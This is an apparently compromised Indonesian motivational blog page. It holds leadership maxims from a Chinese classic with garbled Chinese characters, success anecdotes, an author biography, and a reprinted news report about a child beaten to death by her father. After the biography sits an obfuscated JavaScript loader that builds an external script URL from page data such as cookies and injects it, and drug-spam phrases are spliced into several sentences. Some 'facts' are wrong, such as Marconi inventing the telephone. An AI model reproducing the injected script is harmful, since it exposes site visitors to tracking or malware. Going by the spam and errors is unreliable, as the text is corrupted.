Banyak orang kaya mengejar uang tanpa memperhatikan kesehatan, waktu muda mengumpulkan uang dipundinya sebanyak mungkin, menikmati hidup dengan tidak sehat, setelah menginjak masa tua, penyakit menggerogoti badannya, disaat itu uang harus dikorbankan untuk bisa melewati ujian kematian dini, banyak kejadian tragis, harta habis, nyawapun ikut hilang. Bukankah uang sukar lolos dari ujian kematian? Yang celaka lagi, mati hidup seseorang ditentukan olah akhirat, disaat uang habis, badan selalu kena penyakit, tapi tidak mati mati. Lah bukankah ini sangat menyengsarakan? Apa lagi sepanjang tahun bagai mayat hidup, tidur terus dengan perawatan yang terus menerus tanpa habisnya.

INSPIRASI DAN PANDANGAN HIDUP – Bab 2: 10 Pemikiran Bijaksana

Pengaruh positif untuk semua kalangan dan organisasi

Bab 2:

10 Pemikiran Bijaksana

Di tahun 1992-93, perusahaan Trias Indra Saputra mengalami perpecahan, pemegang saham mengadakan lelang tertutup untuk menentukan siapa yang berhak memiliki perusahaan ini, akhir hasil lelang dimenangkan oleh saya. Mulai sejak itu saya mangadakan pembenahan, judul buku teory manajement yang sering saya gunakan adalah “ Di Wang Xie”, dalam bahasa Mandarin, dan banyak menggunakan bahasa mandarin klasik yang cukup berat dibaca bagi pemula. Dengan  bimbingan filosofi dan system management yang simple, buku ini telah membantu saya untuk dapat membangun perusahaan berkembang menjadi besar.

Dibawah ini, saya petikan kata-kata dari pujangga Tiongkok dijaman lampau, mencoba untuk menterjemahkannya dalam bahasa Indonesia, saya yakin terjemahan saya kurang sempurna, sangat mengharapkan ada yang bisa memperbaikinya. Terima kasih

http://www.tudou.com/programs/view/klAWoTjxJO0

 a???�?a?�a??e��  shí sA� jun1 rén zhA�  Sepuluh Pemikiran Bijaksana.

1.   e?se??e�?a???�?, a?�?�?cY?e�?a�?e�???�i??chéng néng jiàn kA� yù , zé sA� zhA� zú yC? zì jiè,

Sebagai pimpinan, disaat berkeinginan memiliki sesuatu, harus selalu mengingatkan diri untuk “Bersyukur dan puas dengan apa yang sudah didapatkan. Berfoya-foya jangan melampaui batas”

2.   a��??�a??, a?�?�?cY??�?a�?a��a??i??jiA?ng yC�u zuò, zé sA� zhA� zhC? yC? A?n rén,

Disaat ada keinginan membangun istana megah, ingatlah berbuat secukupnya, dengan tujuan menenangkan hati orang.

Hiduplah sederhana, janganlah berlebihan disaat orang dilingkunganmu masih banyak yang kekurangan.

3.   a?�e�?a?�, a?�?�?e��a�?e�?e�?c��  , niàn gA?o wA�i, zé sA� qiA?n chA?ng ér zì mù,

Disaat kedudukan bertambah tinggi, godaan dan goncangan bertambah hebat, disaat itu harus ingat “Rendah hati dan menahan diri.”

Semakin kedudukanmu bertambah tinggi, bagaikan naik kepuncak gunung, jurang dan godaan semakin besar, pikirkan bahayanya, dan mawas diri dan mengekang diri.

4.   ??�?�????, a?�?�??�Y?��a?�c�?a�?, jù mCZn yì , zé sA� jiA?ng hCZi xià bCZi chuA?n,

Jika kuatir bisa sombong dan puas diri, harus ingat, hati harus sebesar lautan yang bisa menampung semua aliran sungai.

Untuk menghindari kesombongan, membuka diri, banyaklah mendengarkan masukan dari pendapat orang lain. Rendah hati mendengarkan nasihat orang terutama orang yang sudah berpengalaman.

5.   a??c�????, a?�?�?a?�e��a�?a??a?�i??lè pán yóu, zé sA� sA?n qA� yC? wéi dù,

Saat terbenam dalam kenikmatan berburu, harus ingat kaisar jaman dahulu hanya diperbolehkan 3 kali dalam setahun untuk berburu.

Maksudnya jika berkeinginan menikmati kehidupan harus bisa mengekang diri dibatas yang bisa dikendalikan dan diperbolehkan. Jangan sampai bisa menimbulkan mala petaka baik untuk diri sendiri maupun orang lain. Batas-batas dan jadwal ditentukan dan ditaati.

6.   a?�?�??��, a?�?�??�Za��e�??��c�?i??yA?u xiè dài, zé sA� shèn shC? ér jìng zhA?ng,

Disaat bosan dan mulai kendur, harus sering diingatkan, dimulai dengan baik, diakhiri juga dengan baik.

Mengerjakan apapun harus tuntas, jangan setengah jalan ditinggal begitu saja. Penyakit pemuda sekarang, seringkali meninggalkan pekerjaan dengan tidak tuntas. Ini adalah ciri chas orang yang akan menemui kegagalan ditengah jalan. Masih ingat hukum pertanian “ TaburTuai” ?

7.   e��a?�e�?, a?�?�?e�sa??a�?c??a?�i??lC? yA?ng bì , zé sA� xA� xA�n yC? nà xià,

Supaya tidak tersumbat jalur komunikasi, harus turun ke bawah mendengarkan langsung pendapat dari bawahan.

Setiap jajaran pimpinan dari atas kebawah, harus sering melakukan “ Turba”, kata populer sekarang adalah “blusukan”, hanya demikian, kita baru bisa menghindari kesombongan. Diperusahaan, haruslah dibangun kebiasaan, minimal, 1 x 1 tahun pimpinan mengadakan kunjungan ke rumah anak buah, untuk mengetahui keadaan keluarga anak buah sesungguhnya.

8.   ???e��e�?, a?�?�??�?e?�a�?e�???�i??xiCZng chán xié, zé sA� zhèng shA�n yC? chù è,

Mencegah penjilat mencelakai negara, harus meluruskan diri dan menjauhi orang-orang  penjilat.

Kedudukanmu bertambah tinggi, penjilat yang mendekatimu juga akan lebih tinggi ilmunya. Sering diingat “ Obat yang manjur itu sering pahit rasanya, Nasihat yang tulus dan baik itu sering menusuk hati kita”, jauhilah orang sesat yang selalu memberikan pujian padamu yang selalu meyenjukkan.

9.   ??�?��aS�, a?�?�??��a��a�?a�?e��e�?i??A�n suC� jiA? , zé sA� wú yA�n xC? yC? miù shCZng,

Disaat melaksanakan reward & punishment, harus diingat jangan karena kegembiraan sesaat sembarangan memberikan kedudukan pangkat kepada seseorang.

Jika kamu ingin menaikkan pangkat seseorang, jangan karena kamu secara pribadi senang padanya. Tapi lihatlah prestasi nya, dan tanyakan orang disekelingnya.

10. c?s?��a?S, a?�?�??��a��?��e�??�?a?� , fá suC� jí , zé sA� wú yA�n nù ér làn xíng.

Disaat menghukum, jangan karena amarah menjatuhkan hukuman penyiksaan semena-mena. Pemimpin harus selalu waspada mengendalikan saat senang dan saat marah. Dalam 2 keadaan situasi demikian, jangan lakukan hukuman atau menaikkan pangkat seseorang bawahannya.

Kata-kata diatas adalah dipetik dari buku “Di Wang Xue” a??cZ�a�� Di Wang Xue (Ilmu tinggi raja-raja) itu juga menjelaskan, bahwa seorang entrepreneur mungkin tidak memiliki banyak harta, tapi dia pasti penuh dengan pengetahuan, dia mungkin tidak mengetahui trik dalam perdagangan, tapi dia mengerti etika dalam bisnis, dia tidak akan ikut arus, tapi dia pasti berani melawan arus.

Pada saat itu saya bertekad harus menjadi seorang entrepreneur, tapi apakah buku ini bisa menjadi pegangan dalam pekerjaan sehari-hari? Ternyata buku ini sudah lama menjadi buku pedoman bagi pengusaha Jepang yang sukses. Salah satunya adalah pimpinan Panasonic Jepang. Dalam pengantar buku ini, pengarang menuliskan bahwa buku ini termasuk buku yang sangat penting untuk dipelajari bagi para pimpinan. Mengapa demikian? Karena sewaktu jaman tirani, kekuasaan terpusat pada satu orang. Cukup satu orang ini, yaitu Kaisar—yang mengerti ilmu kepemimpinan. Tapi sekarang adalah jaman dimana kekuasaan berada di tangan rakyat, yang disebut demokrasi rakyat. Kekuasaan menyebar luas, akan lebih aman dibandingkan terpusat pada satu orang. Dengan tersebarnya kekuasaan, maka muncullah banyak “raja kecil.”      

Kegemaran, hasrat, gembira, marah; perasaan ini sama dimiliki oleh orang pandai maupun bodoh. Jika ditilik dari sifat setiap orang, mungkin bisa kita katakan khalayak ramai itu adalah yang betul-betul orang pandai, tetapi sekali sudah memegang kekuasaan, baik siapa pun tingkah laku dan psychology-nya mungkin bisa berubah.

Ada pepatah mengatakan “pegang kekuasaan 3 tahun, orang akan berubah buy viagra for cheaper prices. jadi bodoh”. Selain itu, yang bisa membuat orang tidak mengerti adalah setelah khalayak ramai bertindak atas dasar kekuasaan yang dimiliki, seringkali tidak mempedulikan tanggung-jawabnya, dibiarkan saja berlalu. Karena disaat mereka ramai-ramai melakukan tindakan, biasanya mereka menganggap dirinya tidak perlu bertanggung-jawab, sehingga tanpa sadar mereka kehilangan kontrol atas dirinya sendiri, misalnya yang jelas bisa kita lihat, kita tidak akan mempercayai ada massa yang ramai-ramai membalikkan mobil yang tidak dikenali dan membakarnya. Bukankah ini suatu tindakan yang melanggar hukum yang bisa dikenakan hukum pidana? Tetapi disaat massa ramai-ramai melakukan tindakan pengrusakan yang bodoh itu, mereka mungkin tidak memikirkan segalanya, karena setiap orang merasakan bahwa dia bertindak bukan sendirian dan bukan menjadi tanggung-jawabnya, apalagi memikirkan posisi orang yang dicelakai..

Maka, disaat masa memegang kekuasaan, mereka merasa menjadi Kaisar yang bisa bertindak semena-mena. Jika sudah begini, apakah akibatnya? Kemungkinan di saat itu muncullah tirani yang maha dasyat. Inilah masalah yang sukar dimengerti bisa terjadi dalam masyarakat demokrasi yang membuat kita sedih bercampur kuatir.                                                                    

Di sekitar kekuasaan pasti berkumpul orang-orang penjilat dan penyanjung, yang dalam buku ini disebut “6 sesat”. Sering kali kita melihat politisi, pengusaha, pejabat tinggi, manager yang sedang mengalami kekecewaan dalam usahanya. Disekelilingnya sering berkumpul kalangan sesat ini, sehingga mereka kehilangan “10 pertimbangan” dan “9 watak”, tidak bisa “mendengar kedua pihak” maka timbullah “Percaya sepihak”. Seorang begitu mendapatkan kekuasaan, kalangan 6 sesat bisa dengan sendirinya ikut muncul. Hal demikian dari jaman dahulu kala sudah ada.

Disaat khalayak ramai ada tanda-tanda akan menjadi Kaisar (tanda-tanda mendapatkan angin karena saat itu dipolitik kekuatan mereka sangat diperhitungkan), maka 6 sesat ini akan menjadi terompetnya masyarakat. Omongan mereka selalu enak didengar, walaupun orang mengetahui jika percaya pada 6 sesat ini akan bertambah bingung, bahkan bisa kehilangan kedudukan dan jatuh namanya. Tapi secara tidak sadar mereka dituntun arahnya untuk hanya percaya sepihak, dan kehilangan kesempatan untuk mendengarkan kedua belah pihak, ini yang akan dapat mengakibatkan kegagalan.

INSPIRASI DAN PENGALAMAN HIDUP a�� Bab 1: 5 Fakta Nyata tentang Kesuksesan

Pengaruh positif untuk semua kalangan dan organisasi

 

Bab 1:

5 Fakta Nyata tentang Kesuksesan

 

Sebenarnya kesuksesan bukan impian yang sulit dicapai. Banyak orang sukses berasal dari golongan yang bukan istimewa. Kebanyakan dari mereka awalnya hanyalah orang biasa seperti kita, namun karena kegigihannya, mereka bisa menjadi orang yang luar biasa. Karena itu, kita harus mengenali beberapa fakta tentang kesuksesan.

 

  1. Kesuksesan tidak ada kaitannya dengan usia Anda
  • Nelson Mandela baru menjadi Presiden pada usia 76 tahun.
  • Sewaktu berhasil menciptakan telepon, Marconi baru berusia 27 tahun.
  • Pendiri restoran makanan siap saji terkenal di dunia, Kentucky Fried Chicken (KFC),

Kolonel Sander baru memulai bisnisnya pada usia 65 tahun.

  • Kehidupan Winston Churchill penuh dengan kegagalan dan tantangan, dan

baru berhasil menjabat Perdana Menteri Inggris pada usia 52 tahun.

  • Pendiri Microsoft, Bill Gates, merupakan orang terkaya di dunia pada saat

ia berusia 41 tahun. (Ia menghasilkan sekitar US$ 60 juta per hari).

 

  1. Kesuksesan tidak ada kaitannya dengan warna kulit, bangsa, agama, dan keturunan  

Anda

  • Jenderal Colin Powell adalah keturunan kulit hitam di A.S., namun berhasil menjadi ahli politik terkenal.
  • Konfusius adalah seorang anak yatim yang menjadi seorang filsuf terkenal di dunia.
  • Charlie Dick mulai menulis artikel di gudang tempatnya bekerja. Dan banyak hasil karyanya dibuang editornya ke tong sampah, namun dengan usaha yang keras, ia berhasil menjadi penulis terkenal di dunia.
  • Martin Luther King Jr. Adalah keturunan kulit hitam di A.S. yang memperjuangkan keadilan dan persamaan hak bagi setiap suku bangsa di Amerika. Ia menjadi contoh pejuang keadilan yang sangat terkenal di dunia.

 

  1. Kesuksesan tidak ada kaitan dengan (cacat) fisik Anda
  • Helen  Keller,  seorang tuna netra,  tuna rungu,  dan tuna wicara, tidak pernah putus asa untuk berusaha, dan akhirnya berhasil  menjadi seorang penulis dan pendidik terkenal di dunia.
  • Shakespeare,  menderita  cacat  kaki,  tapi  bisa  menjadi seorang penulis noveI terkenal

di dunia.

  • Franklin Delano Roosevelt, Presiden ke-32 di A.S.,  mengidap polio, tapi tetap berdiri

tegak sebagai     seorang presiden yang andal.

–   Beethoven    adalah    seorang    tuna    rungu,     namun     dengan usaha kerasnya ia

akhirnya menjadi seorang ahli musik (komposer) terkenal di dunia.

  • Napoleon Bonaparte memiliki postur tubuh yang sangat pendek dan wajah yang sama

sekali tidak menarik, tapi ia bisa menjadi pemimpin pasukan untuk mendirikan satu

  wilayah besar di Eropa.

  • Anthony Robins – 10 tahun yang lalu hidup dalam lingkungan yang sangat miskin

dengan bentuk tubuh yang sangat gemuk.  Tapi ia tidak pernah berhenti berusaha  

mengubah hidupnya, dan kini ia merupakan seorang motivator terkenaldi dunia.  Salah

satu dari buku-buku terlarisnya adalah Unlimited Power dan Awaken the Giant within.

  1. Kesuksesan tidak ada kaitannya dengan tingkat pendidikan Anda
  • Thomas Alfa Edison, ilmuwan berhasil menciptakan serta mengubah lebih dari 2000 jenis peralatan walaupun hanya berpendidikan SD.
  • Li Ka Shing berhenti sekolah pada usia 14 tahun. Karena keteguhan tekad dan usahanya yang keras, kini ia menjadi salah seorang konglomerat yang sukses di Hong Kong.
  • Pendiri Genting Highland, Tan Sri Lam Goh Tong, bukanlah orang yang berpendidikan tinggi, namun berwawasan luas. Karenanya ia berhasil mendirikan Genting Highland, sebuah tempat hiburan terkenal di Asia.
  • Henry Ford tidak pernah duduk di bangku sekolah dan pernah dijuluki sebagai “pecinta keamanan yang bodoh”, namun  karena  pantang menyerah dan terus berjuang, akhirnya ia menjadi Raja Mobil di Dunia.
  • The Wright Brother berasal dari lapisan masyarakat biasa, dan tidak berpendidikan tinggi. Namun dengan tekad dan kepercayaan, mereka berhasil menciptakan pesawat pertama di dunia.
  • Lawrence Ellison drop out dari universitas, tapi berhasil mendirikan Oracle Corporation dan kini merupakan orang kedua terkaya di dunia

 

5.   Kesuksesan tidak ada kaitannya dengan latar belakang keluarga Anda

–  Andrew Canute mulai bekerja sejak usia 13 tahun  dan berkat kerja kerasnya, ia berhasil

   menjadi Raja Besi Baja di A.S.

–  Pada usia 20 tahun lebih, Walter Disney hanyalah seorang pemuda miskin dan sama sekali tidak bisa dibanggakan. Kurang dari 10 tahun kemudian, ia berhasil menjadi seorang usahawan terkenal.

– Abraham Lincoln lahir dari keluarga miskin, dimana latar belakang yang sama sekali tidak bisa dibanggakan, namun setelah bertahun-tahun berjuang, akhirnya ia bisa menjadi Presiden Amerika yang terkenal di dunia.

– Napoleon Hill, penulis buku terkenal Think and Grow Rich, dilahirkan di keluarga miskin. Ibunya meninggal dunia pada saat dia kecil, dan ia dibesarkan oleh seorang ibu tiri yang sangat hebat. Akhirnya ia rnenjadi seorang guru motivasi yang paling terkenal di dunia. Buku-bukunya telah membantu banyak orang dalam mengatasi keterbatasan mereka dan mencapai kesuksesan.

–  Bill Clinton, mantan presiden Amerika—ayahnya meninggal pada saat ia masih kecil dan adiknya terlibat dalam obat-obat terlarang. Tapi ia memiliki satu sasaran hidup yang jelas dan bertindak berdasarkan rencana yang dicanangkannya, akhirnya ia menjadi seorang Presiden dan memasuki gedung putih.

Dari fakta yang diceritakan di atas, maka tidak ada alasan apa buy clarisonic brush heads canada. pun untuk kita tidak dapat meraih kesuksesan. Dan hal-hal yang merupakan batu penghalang dalam perjalananan kita menuju kesuksesan harus kita hindarkan.      (petikan dari sumber Internet)

Yang terpenting terus menerus belajar, berjuang tanpa henti. Kesuksesan pasti anda raih. Apapun kelemahan anda, asalkan anda mau belajar, mau menerima pengarahan guru anda, baik itu orang tua, sanak saudara, atasan/bawahan, teman atau siapa pun yang bisa anda anggap sebagai guru, patuhilah ajarannya, bimbigan dan pengarahannya. Berjuang lah sejak masih muda, hanya mimpi bahwa anda akan sukses setelah tua tanpa jerih payahmu sejak muda.

INSPIRASI DAN PENGALAMAN HIDUP a�� TENTANG PENGARANG

TENTANG PENGARANG

 

Usman Arifin dilahirkan di indramayu tahun 1948,sekolah di mandarin school, (saat itu masih diperbolehkan). Waktu umur 10 tahun, viagra kostenlos kaufen. diajak oleh ibunya ke Jakarta untuk melanjutkan sekolah.

Betapa berkesannya pak Usman, betapa pentingnya sekolah, tanpa bantuan ibunya tidak ada kesempatan untuk bekerja sambil bersekolah.

Figure seorang ibu selalu teringat di benaknya, di dalam hati yang paling dalam, pak Usman selalu berterima kasih kepada ibunya.

Pak Usman menikah dengan Lim Yuli Muliana,dan dikaruniai 3 orang anak bernama Leo Hermanto, Kurniati Lestari dan Sani Nuriah Lestari, sekarang pak Usman sudah mempunyai cucu 3 .

Sampai  saat ini bapak adalah Komisaris di  3  perusahaan Trias Indra Saputra PT – bergerak di bidang panel. Tritunggal Prakarsa Prima Mandiri PT bergerak dibidang bahan advertizing, PT. TRIASINDO MACHINERY – Indonesia. Yang bergerak dibidang alat oven roti.

0\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

INSPIRASI DAN PENGALAMAN HIDUP a�� PENDAHULUAN

Pengaruh positif untuk semua kalangan dan organisasi

PENDAHULUAN

Dengan suka cita kami membagikan sebuah anugerah istimewa untuk anda: Inspirasi dan filosofi Kisah kisah ini dipilih untuk membangkitkan semangat kerja,semangat berwiraswasta dan mandiri.

Buku apa yang sering kita baca adalah salah satu menentu arah perjalanan hidup kita.

Suatu keberuntungan jika anda suka baca buku filsafat dan dapatkan guru yang bisa membimbing kita menuju jalan yg benar.

Saat-saat seseorang sangat tergantung dengan keluarga dan lingkungannya.

Disaat lahir manusia tak bisa memilih, Kita semua dilahirkan tak pernah ditanya minta dilahirkan ke mana ? di mana? Dan dikeluarga yg bagaimana ? disaat kita masih kanak-kanak, ternyata kita merasakan dilahirkan dengan kulit hitam,atau rambut pirang, dikeluarga miskin atau dikeluarga kaya, mereka sebagai anak-anak balita, tak akan mau pisah dengan keluarganya, selalu merasa nyaman baik dalam suka maupun duka, dan tak akan berkeinginan lari dari keadaan yang bagaimana malangnya kehidupan.  terutama  dengan ibunya. Walaupun mereka tinggal di kolong jembatan atau di rumah dekat dengan pembuangan sampah. Mereka belum bisa dan tak bisa protes dan melawan , mereka tak punya hak memilih saat dilahirkan. Disaat bayi, tumbuh menjadi balita bahkan sampai sebelum dewasa, memiliki orang tua yang bagaimana akan menetukan nasib anak-anak tersebutmenuju ke dewasa. Sangatlah tragis jika meiliki orang tua yang temperamen, dibawah ini saya petikan kejadian di sebuah desa mengenai nasib anak kecil umur 7 tahun .

Kesalahan yang tak bisa ditebus kembali.

Rebutan Baju dengan Kakak, Anak 7 Tahun Tewas Setelah Dipukuli Ayahnya

KOMPAS.com/Yatimul Ainun
Deni, ayah yang nekat memukuli anak kandungnya sendiri, hingga tewas. Hal itu dilakukan di Kabupaten Malang, Jawa Timur, Minggu (22/2/2015).
Minggu, 22 Februari 2015 | 14:43 WIB

MALANG, KOMPAS.com – Deni (32), warga Jalan Lowokdoro, Gang III, RT 06 RW 04 Kelurahan Kebonsari, Kecamatan Sukun, Kota Malang, Jawa Timur, nekat memukul anak kandungnya sendiri hingga tewas. Penyebabnya sepele, hanya karena korban bertengkar dengan kakaknya rebutan baju yang didapat dari tantenya, yang baru datang dari Yogyakarta.

Deni bersama Wati (37), istrinya, dikaruniai dua anak, yaitu Dina Marselina (8) dan Kasih Ramadhani (7). Deni dan Wati sudah cerai setahun lalu. Wati sendiri kini pulang ke kampung halamannya di Sulawesi. Kedua anaknya tinggal bersama Deni di Malang.

Pemukulan dilakukan Deni pada pukul 11.00 WIB, Sabtu (21/2/2015), di rumah adik kandungnya, Nur Aini, di Dusun Duwek RT 02 RW 04, Desa Sitirejo, Kecamatan Wagir, Kabupaten Malang.

"Saat saya pulang dari sawah, diberitahu oleh adik saya (Nur Aini), kalau kedua anak saya nakal dan bertengkar terus. Rebutan baju yang dia (Nur Aini) kasih ke anak saya, katanya oleh-oleh dari Yogya," katanya. drugs from india.

Oleh-oleh baju dari Nur Aini tersebut ada dua warna berbeda. Untuk warna biru diberikan untuk Dina Marselina. Sedangkan warna pink diberikan untuk Kasih Ramadhani.

"Tapi adiknya (kasih) maunya warna biru, tidak mau warna pink. Akhirnya direbut dari kakaknya. Saat itu keduanya bertengkar," kata Deni, ditemui awak media usai diperiksa di Mapolres Malang, Minggu (22/2/2015).

Mendengar kedua anaknya terus bertengkar masalah baju, Deni memarahi kedua anaknya dan memukul Kasih Ramadhani, menggunakan bambu seukuran 1,5 meter. "Karena adiknya yang nakal," katanya.

Sejak itu, emosi Deni mulai tak terkendali. Dia terus memukul anak kesayangannya hingga sekujur tubuhnya babak belur dan luka-luka di kedua tangannya.

"Saat itu saya tambah emosi, saat adik saya (Nur Aini) marah-marah karena saya mukuli anak saya (Kasih) itu. Saya sudah tidak tahu berapa kali saya mukuli anak saya," cerita Deni.

Saat itu, Deni mengaku dalam kondisi capek pulang dari sawah. Baju hadiah milik Dina, dibuang oleh Kasih.

"Saya pukuli, Kasih hanya menangis. Bambu itu sampai patah. Kurang lebih satu meter lebih, saya patahkan dulu ke pintu, patahannya saya pukulkan ke Kasih itu," katanya.

Pertama, Deni memukuli Kasih pada pahanya. "Karena saya memukuli anak saya, adik ipar saya (Eko Hendro) menegur saya. Bahkan saya diusir dari rumah itu. Saya malah tambah emosi. Adik ipar teriak-teriak menelpon saudaranya melaporkan perbuatan saya itu," ujarnya.

Setelah anaknya babak-belur, Deni meminta Kasih basuh mukanya ke kamar kecil.

"Setelah cuci muka, Kasih minta mau tidur dan bilang haus. Saya beri air minum dan saya gendong, saya tidurkan di pangkuan saya. Saat itu, dia (Kasih) minta maaf ke saya dan ke kakaknya," cerita Deni sembari menangis merundukkan kepalanya.

Bahkan Kasih, kata Deni, sebelum menghembuskan nafas terakhirnya, sempat minta es krim kepada Deni.

"Sebelum meninggal, dia minta maaf ke saya dan ke kakaknya. Dia minta es krim juga. Itu yang menyayat hati saya," katanya sembari menangis.

Deni mengaku tak pernah ada perkelahian dengan anaknya. Setelah memukuli anaknya, dia bahkan juga tidur bersama anaknya. "Saya sayang. Dia minta maaf sama saya dan ke kakaknya. Minta dibawa ke neneknya. Minta minum, haus. Saat itu dalam pangkuan saya. Saat itu kedinginan. Saat dipangkuan saya sudah minta maaf," ucapnya.

Deni mengaku menyesal telah bertindak brutal terhadap anaknya. "Kesepian. Karena setiap malam tidur bertiga. Makan mie satu bertiga," tuturnya sambil menangis.

Kasih meninggal di pangkuan Deni saat naik sepeda motor ke rumah Kasiyem, ibu Deni atau nenek dari Kasih. "Sampai ke rumah ibu saya sudah meninggal setelah dilihat sama dokter. Saya menyesal. Saya rela dihukum untuk menebus dosa saya ke anak saya," katanya pasrah.

Beberapa alat bukti, berupa potongan bambu yang dipakai mukul Kasih oleh Deni diamankan di Mapolres Malang. Baju yang jadi rebutan dan baju yang dipakai Kasih juga ikut diamankan oleh Polres Malang.

"Pelaku masih diperiksa secara intensif. Kita akan melakukan tes kejiwaan. Nur Aini, selaku saksi mata akan kita panggil untuk dimintai keterangan," kata Kasatreskrim Polres Malang AKP Wahyu Hidayat.

Dari pengakuan pelaku, kurang lebih ada 20 lebih pukulan yang dilayangkan pada korban. Bambu yang dipukulkan hingga patah.

"Pelaku akan dijerat Pasal 80 ayat 3 dan 4 jo Pasal 76 C, UU Nomor 35 tahun 2014 tentang perubahan atas UU Nomor 23 tahun 2004 tentang Perlindungan Anak atau Pasal 44 ayat 1, 3 UU no 23 tahun 2004 tentang Penghapusan Kekerasan Dalam Rumah Tangga. Ancaman maksimalnya 15 tahun penjara," ujar Wahyu.

Penulis: Kontributor Malang, Yatimul Ainun
Editor: Bayu Galih

Saya menangis, saya menyesal tak bisa berbuat sesuatu apapun untuk membantu mereka. Dengan tulisan ini, semoga saya bisa memberikan sedikit pencerahan bagi mereka orang-orang dewasa yang akan dan sudah menjadi orang tua dari anak-anak Indonesia. 

Menginspirasi, motifasi ke  calon orang tua atau orang tua yang akan membaca blog ini. khususnya remaja, untuk membangun keluarga pertama-tama kita harus memiliki rasa cinta kasih terhadap pasangan kita masing-masing. Sebelum menikah kita juga harus memilih pasangan yang Mempunyai akhlak mulia, sopan santun dan bertutur kata yang baik, sebelum menjadi calon kekasih, selalu berhati-hati atas keselamatan jiwa dan harta yang dimiliki, kejahatan penipuan, pemerkosaan, bahkan pembunuhan sering terjadi,  Karena tanpa itu semua pernikahan bisa hancur dan ada pihak yang akan tersakiti yaitu calon orang tua dan calon anak-anak mereka. Seorang remaja harus memahami bagaimana cara membangun keluarga sebelum ia masuk pada usia pernikahan dan selanjutnya menjalani pernikahan tersebut. Dan kita harus mengetahui  dalam hukum hak suami – istri, 

Top